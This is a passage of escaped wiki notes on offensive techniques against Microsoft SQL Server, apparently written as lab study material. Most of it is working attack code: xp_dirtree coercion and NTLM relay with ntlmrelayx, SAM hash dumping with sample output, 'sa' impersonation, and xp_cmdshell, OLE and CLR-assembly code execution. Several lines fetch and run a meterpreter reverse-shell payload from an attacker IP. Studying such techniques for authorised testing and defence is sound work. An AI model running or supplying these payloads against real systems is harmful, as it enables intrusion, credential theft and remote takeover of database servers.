            String query = &amp;quot;EXEC master..xp_dirtree \&amp;quot;\\\\192.168.119.120\\\\test\&amp;quot;;&amp;quot;;&lt;br /&gt;
            SqlCommand command = new SqlCommand(query, con);&lt;br /&gt;
            SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:8ZPa5+qasCAAAAABJRU5ErkJggg==|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Relay the hash ====&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Objective&#039;&#039;&#039;&lt;br /&gt;
Achieve code execution on the SQL server OS without needing to crack the captured Net-NTLM hash.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Background&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Net-NTLM hash&#039;&#039;&#039;: While it can&#039;t be used directly in a pass-the-hash attack, it can be relayed to another computer. If the user is a local administrator on the target, this can lead to code execution.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Microsoft&#039;s Security Measure&#039;&#039;&#039;: Since 2008, Microsoft has blocked the ability to relay a Net-NTLM hash back to the origin computer using the same protocol.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;SMB Signing&#039;&#039;&#039;: Relaying Net-NTLM against SMB is only possible if SMB signing is not enabled. By default, it&#039;s enabled only on domain controllers.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Procedure&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Enumeration&#039;&#039;&#039;: Identified that the service account associated with the SQL server is used on both dc01 and appsrv01 and has local administrator rights on both.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# First base64 encode the download cradle. This will download and invoke the run.txt. Run.txt is our shellcode runner. CTRL+F run.txt to find the code.&lt;br /&gt;
kali@kali:~$ sudo apt -y install powershell&lt;br /&gt;
kali@kali:~$ pwsh&lt;br /&gt;
PS /home/kali&amp;gt; $text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
$EncodedText&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Launch ntlmrelayx. this command attempts to relay captured NTLM authentication requests to the machine at 192.168.120.6 over SMB (with SMBv2 support). If the relay is successful and the authentication on the target is accepted, the specified base64-encoded PowerShell command will be executed on the target machine.&lt;br /&gt;
# When the xp_dirtree command is run (see code above), it will authenticate to our ntlmrelayx and we will capture the hash as shown above.&lt;br /&gt;
# The -t option specifies the target to which the relayed authentication will be sent.&lt;br /&gt;
sudo impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.120.6 -c &#039;powershell -enc &#039;&lt;br /&gt;
[*] SMBD-Thread-4 (process_request_thread): Received connection from 192.168.229.5, attacking target smb://192.168.229.6&lt;br /&gt;
[*] Authenticating against smb://192.168.229.6 as CORP1/SQLSVC SUCCEED&lt;br /&gt;
[*] SMBD-Thread-6 (process_request_thread): Connection from 192.168.229.5 controlled, but there are no more targets left!&lt;br /&gt;
[*] SMBD-Thread-7 (process_request_thread): Connection from 192.168.229.5 controlled, but there are no more targets left!&lt;br /&gt;
[*] SMBD-Thread-8 (process_request_thread): Connection from 192.168.229.5 controlled, but there are no more targets left!&lt;br /&gt;
[*] SMBD-Thread-9 (process_request_thread): Connection from 192.168.229.5 controlled, but there are no more targets left!&lt;br /&gt;
[*] Service RemoteRegistry is in stopped state&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-7.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
===== Dump hashes using NTLMrelayx.py =====&lt;br /&gt;
&lt;br /&gt;
* You can also get the hashes if the user authenticating have the rights&lt;br /&gt;
&lt;br /&gt;
* Remember to check links also. If you have two MSSQL servers, SQL01 and SQL02 which are linked. Check if you can relay the hash from SQL01 to SQL02 and get the local SAM database for example.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
proxychains python3 ntlmrelayx.py --no-http-server -smb2support -t 192.168.1.25                                                1 ⚙&lt;br /&gt;
[proxychains] config file found: /etc/proxychains4.conf&lt;br /&gt;
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4&lt;br /&gt;
[proxychains] DLL init: proxychains-ng 4.16&lt;br /&gt;
Impacket v0.11.0 - Copyright 2023 Fortra&lt;br /&gt;
[*] Protocol Client LDAPS loaded..&lt;br /&gt;
[*] Protocol Client LDAP loaded..&lt;br /&gt;
[*] Protocol Client HTTPS loaded..&lt;br /&gt;
[*] Protocol Client HTTP loaded..&lt;br /&gt;
[*] Protocol Client MSSQL loaded..&lt;br /&gt;
[*] Protocol Client SMTP loaded..&lt;br /&gt;
[*] Protocol Client IMAPS loaded..&lt;br /&gt;
[*] Protocol Client IMAP loaded..&lt;br /&gt;
[*] Protocol Client RPC loaded..&lt;br /&gt;
[*] Protocol Client SMB loaded..&lt;br /&gt;
[*] Protocol Client DCSYNC loaded..&lt;br /&gt;
[*] Running in relay mode to single host&lt;br /&gt;
[*] Setting up SMB Server&lt;br /&gt;
[*] Setting up WCF Server&lt;br /&gt;
[*] Setting up RAW Server on port 6666&lt;br /&gt;
[...]&lt;br /&gt;
controlled, but there are no more targets left!&lt;br /&gt;
[*] Service RemoteRegistry is in stopped state&lt;br /&gt;
[*] Starting service RemoteRegistry&lt;br /&gt;
[*] Target system bootKey: 0xd9996db98e1caaaaabbvvfdfdeeerreew&lt;br /&gt;
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)&lt;br /&gt;
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3623e909efeda77786a000bc7176aeac:::&lt;br /&gt;
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::&lt;br /&gt;
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::&lt;br /&gt;
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:cf24abb0dd2ff42591001e892d98d690:::&lt;br /&gt;
[*] Done dumping SAM hashes for host: 192.168.1.25&lt;br /&gt;
[*] Stopping service RemoteRegistry&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== MSSQL Escalation ===&lt;br /&gt;
&lt;br /&gt;
==== Escalation ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Objective&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Achieve higher privileges within the SQL database by leveraging impersonation.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Background&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Sysadmin Role&#039;&#039;&#039;: Direct authentication with a user possessing the sysadmin role membership is the most straightforward method to secure elevated privileges. However, accessing such a user isn&#039;t always possible.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Impersonation&#039;&#039;&#039;: This technique lets you execute SQL queries in the context of another login or user. Only users granted the explicit Impersonate permission can utilize this method. This permission is not set by default.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Impersonation at the User Level:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Prerequisites:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Our user must have been granted impersonation for another user with additional role memberships.&lt;br /&gt;
&lt;br /&gt;
* The database user we aim to impersonate should be in a database with the TRUSTWORTHY property enabled.&lt;br /&gt;
The &#039;&#039;database owner &#039;&#039;(dbo) usually have this syadmin role.&lt;br /&gt;
&lt;br /&gt;
The rid 500 user (ex: local administrator) is always added to DBA and can always impersonate SA.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SqlImpersonationDemo&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                {&lt;br /&gt;
                    con.Open();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
                    // This will give us all the logins that allow impersonation.&lt;br /&gt;
                    string query = &amp;quot;SELECT DISTINCT b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = &#039;IMPERSONATE&#039;;&amp;quot;;&lt;br /&gt;
                    SqlCommand command = new SqlCommand(query, con);&lt;br /&gt;
                    SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read() == true)&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Logins that can be impersonated: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Before impersonation&amp;quot;);&lt;br /&gt;
                    query = &amp;quot;SELECT SYSTEM_USER;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(query, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Executing in the context of: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    string executeAs = &amp;quot;EXECUTE AS LOGIN = &#039;sa&#039;;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(executeAs, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;After impersonation&amp;quot;);&lt;br /&gt;
                    query = &amp;quot;SELECT SYSTEM_USER;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(query, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Executing in the context of: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    executeAs = &amp;quot;USE msdb; EXECUTE AS USER = &#039;dbo&#039;;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(executeAs, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    query = &amp;quot;SELECT USER_NAME();&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(query, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Executing in the context of: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception e)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;An error occurred: &amp;quot; + e.Message);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Code Execution ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Objective&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Leverage sysadmin role membership to execute code on the Windows server hosting the SQL database.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Background&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;xp_cmdshel&#039;&#039;&#039;l: A well-known stored procedure that spawns a Windows command shell and passes a string for execution. Disabled by default since SQL 2005 due to its potential for misuse.&lt;br /&gt;
&#039;&#039;&#039;Activation: &#039;&#039;&#039;Enable xp_cmdshell: [https://book.ghanim.no/?page_id=1809#xp_cmdshell CheatSheet I – Basic – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;sp_OACreate and sp_OAMethod:&#039;&#039;&#039; These stored procedures allow the creation and execution of a new procedure based on Object Linking and Embedding (OLE). They can be used to instantiate the Windows Script Host and execute commands.&lt;br /&gt;
&#039;&#039;&#039;Activation&#039;&#039;&#039;: Ensure the &amp;quot;OLE Automation Procedures&amp;quot; setting is enabled.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;EXEC sp_configure &#039;Ole Automation Procedures&#039;, 1;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;RECONFIGURE;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;xp_cmdshell &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
using static System.Net.Mime.MediaTypeNames;&lt;br /&gt;
namespace SqlImpersonationDemo&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = $&amp;quot;Server = {sqlServer}; Database = {database}; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                using (SqlConnection con = new SqlConnection(conString))&lt;br /&gt;
                {&lt;br /&gt;
                    con.Open();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
                    // Impersonate SA user&lt;br /&gt;
                    String impersonateUser = &amp;quot;EXECUTE AS LOGIN = &#039;sa&#039;;&amp;quot;;&lt;br /&gt;
                    SqlCommand command = new SqlCommand(impersonateUser, con);&lt;br /&gt;
                    SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Enable and execute xp_cmdshell&lt;br /&gt;
                    String enable_xpcmd = &amp;quot;EXEC sp_configure &#039;show advanced options&#039;, 1; RECONFIGURE; EXEC sp_configure &#039;xp_cmdshell&#039;, 1; RECONFIGURE;&amp;quot;;&lt;br /&gt;
                    //$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.221/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
                    // In run.txt is the SimpleShellcode runner with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f ps1&lt;br /&gt;
                    //$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
                    //$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
                    String execCmdShell = &amp;quot;EXEC xp_cmdshell &#039;powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMgAxAC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA&#039;;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(enable_xpcmd, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    command = new SqlCommand(execCmdShell, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Result of xp_cmdshell: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    con.Close();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception e)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;An error occurred: &amp;quot; + e.Message);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;sp_OACreate and sp_OAMethod&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
Same as above, just change these lines&lt;br /&gt;
 String enable_ole = &amp;quot;EXEC sp_configure &#039;Ole Automation Procedures&#039;, 1; RECONFIGURE;&amp;quot;;&lt;br /&gt;
 //$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.221/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
 // In run.txt is the SimpleShellcode runner with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f ps1&lt;br /&gt;
 //$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
 //$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
 String execCmdShell = &amp;quot;DECLARE @myshell INT; EXEC sp_oacreate &#039;wscript.shell&#039;, @myshell OUTPUT; EXEC sp_oamethod @myshell, &#039;run&#039;, null, &#039;powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMgAxAC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA&#039;;&amp;quot;;&lt;br /&gt;
command = new SqlCommand(enable_ole, con);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Custom Assemblies ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* This technique leverages managed code to achieve arbitrary code execution on a SQL server.&lt;br /&gt;
&lt;br /&gt;
* If a database has the TRUSTWORTHY property enabled, the CREATE ASSEMBLY statement can be used to import a managed DLL into the SQL server and execute its methods.&lt;br /&gt;
&lt;br /&gt;
* Creating a stored procedure from an assembly is not allowed by default. This is controlled through the CLR Integration setting, which is disabled by default. We can enable it with &amp;lt;code&amp;gt;sp_configure&amp;lt;/code&amp;gt; and the &amp;lt;code&amp;gt;clr enabled&amp;lt;/code&amp;gt; option.&lt;br /&gt;
&lt;br /&gt;
Check if TRUTHWORTHY is enabled.&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#mssql-privilege-escalation 1433 - Pentesting MSSQL - Microsoft SQL Server - HackTricks]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Find trustworthy databases&lt;br /&gt;
SELECT a.name,b.is_trustworthy_on&lt;br /&gt;
FROM master..sysdatabases as a&lt;br /&gt;
INNER JOIN sys.databases as b&lt;br /&gt;
ON a.name=b.name;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Start by creating a new &amp;quot;Class Library (.NET Framework)&amp;quot; project.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using Microsoft.SqlServer.Server;&lt;br /&gt;
using System.Data.SqlTypes;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
public class StoredProcedures&lt;br /&gt;
{&lt;br /&gt;
    [Microsoft.SqlServer.Server.SqlProcedure]&lt;br /&gt;
    public static void cmdExec (SqlString execCommand)&lt;br /&gt;
    {&lt;br /&gt;
        Process proc = new Process();&lt;br /&gt;
        proc.StartInfo.FileName = @&amp;quot;C:\Windows\System32\cmd.exe&amp;quot;;&lt;br /&gt;
        proc.StartInfo.Arguments = string.Format(@&amp;quot; /C {0}&amp;quot;, execCommand);&lt;br /&gt;
        proc.StartInfo.UseShellExecute = false;&lt;br /&gt;
        proc.StartInfo.RedirectStandardOutput = true;&lt;br /&gt;
        proc.Start();&lt;br /&gt;
        SqlDataRecord record = new SqlDataRecord(new SqlMetaData(&amp;quot;output&amp;quot;, System.Data.SqlDbType.NVarChar, 4000));&lt;br /&gt;
        SqlContext.Pipe.SendResultsStart(record);&lt;br /&gt;
        record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());&lt;br /&gt;
        SqlContext.Pipe.SendResultsRow(record);&lt;br /&gt;
        SqlContext.Pipe.SendResultsEnd();&lt;br /&gt;
        proc.WaitForExit();&lt;br /&gt;
        proc.Close();&lt;br /&gt;
    }&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* In the &amp;lt;code&amp;gt;CreateAssem&amp;lt;/code&amp;gt; you can either call it from location on target like this&lt;br /&gt;
&amp;lt;code&amp;gt;CREATE ASSEMBLY myAssembly FROM &#039;c:\tools\cmdExec.dll&#039; WITH PERMISSION_SET = UNSAFE;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* This is however not realistic. So instead we will embed the hex code for the DLL in the code using the powershell script below to conovert it to hex. Remember to add &amp;lt;code&amp;gt;0x&amp;lt;/code&amp;gt; before the string since this is hex.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$assemblyFile = &amp;quot;C:\users\alaag\documents\cmdExec.dll&amp;quot;&lt;br /&gt;
$stringBuilder = New-Object -Type System.Text.StringBuilder&lt;br /&gt;
$fileStream = [IO.File]::OpenRead($assemblyFile)&lt;br /&gt;
while (($byte = $fileStream.ReadByte()) -gt -1) {&lt;br /&gt;
    $stringBuilder.Append($byte.ToString(&amp;quot;X2&amp;quot;)) | Out-Null&lt;br /&gt;
}&lt;br /&gt;
$stringBuilder.ToString() -join &amp;quot;&amp;quot; | Out-File c:\users\alaa\documents\cmdexec.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SqlImpersonationDemo&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = $&amp;quot;Server = {sqlServer}; Database = {database}; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                using (SqlConnection con = new SqlConnection(conString))&lt;br /&gt;
                {&lt;br /&gt;
                    con.Open();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
                    // Impersonate SA user&lt;br /&gt;
                    String impersonateUser = &amp;quot;EXECUTE AS LOGIN = &#039;sa&#039;;&amp;quot;;&lt;br /&gt;
                    SqlCommand command = new SqlCommand(impersonateUser, con);&lt;br /&gt;
                    SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Check if the procedure and assembly already exist and drop them if they do&lt;br /&gt;
                    String dropProcedure = &amp;quot;IF OBJECT_ID(&#039;dbo.cmdExec&#039;, &#039;P&#039;) IS NOT NULL DROP PROCEDURE dbo.cmdExec;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(dropProcedure, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    String dropAssembly = &amp;quot;IF EXISTS (SELECT * FROM sys.assemblies WHERE name = &#039;myAssembly&#039;) DROP ASSEMBLY myAssembly;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(dropAssembly, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Configuration for enabling CLR&lt;br /&gt;
                    String clrConfig = &amp;quot;use msdb; EXEC sp_configure &#039;show advanced options&#039;,1; RECONFIGURE; EXEC sp_configure &#039;clr enabled&#039;,1; RECONFIGURE; EXEC sp_configure &#039;clr strict security&#039;, 0; RECONFIGURE;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(clrConfig, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Create the assembly and procedure&lt;br /&gt;
                    String CreateAssem = &amp;quot;CREATE ASSEMBLY myAssembly FROM 0x4D5A90000300000004000000FF... WITH PERMISSION_SET = UNSAFE;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(CreateAssem, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    String CreatePro = &amp;quot;CREATE PROCEDURE [dbo].[cmdExec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [myAssembly].[StoredProcedures].[cmdExec];&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(CreatePro, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Execute the procedure&lt;br /&gt;
                    String ExecCmd = &amp;quot;EXEC cmdExec &#039;certutil -urlcache -split -f http://192.168.45.244/met.exe C:\\windows\\tasks\\shell.exe &amp;amp;&amp;amp; cmd.exe /c C:\\windows\\tasks\\met.exe&#039;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(ExecCmd, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Read();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Result of the command is: &amp;quot; + reader[0]);&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    con.Close();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception e)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;An error occurred: &amp;quot; + e.Message);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* You cannot use CREATE ASSEMBLY on an assembly more than once without first removing the existing one. To do this, use the DROP ASSEMBLY command. Moreover, if there&#039;s a procedure dependent on the assembly, it must be removed first using the DROP PROCEDURE command.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
string dropproc = &amp;quot;DROP PROCEDURE cmdExec&amp;quot;;&lt;br /&gt;
string dropasm = &amp;quot;DROP ASSEMBLY myAssembly&amp;quot;;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Linked SQL Servers ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Linked SQL servers allow one SQL server to connect to another.&lt;br /&gt;
&lt;br /&gt;
* The execution context during the connection can be dynamic or a specific SQL login.&lt;br /&gt;
&lt;br /&gt;
* If a sysadmin role login is chosen, sysadmin privileges can be obtained on the linked SQL server.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Concepts:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* If the linked SQL server uses a sysadmin role login, even low privileged access on the original server can lead to sysadmin privileges on the linked server.&lt;br /&gt;
&lt;br /&gt;
* sp_linkedservers stored procedure enumerates linked servers.&lt;br /&gt;
&lt;br /&gt;
* OPENQUERY keyword can be used to perform SQL queries on linked servers.&lt;br /&gt;
&lt;br /&gt;
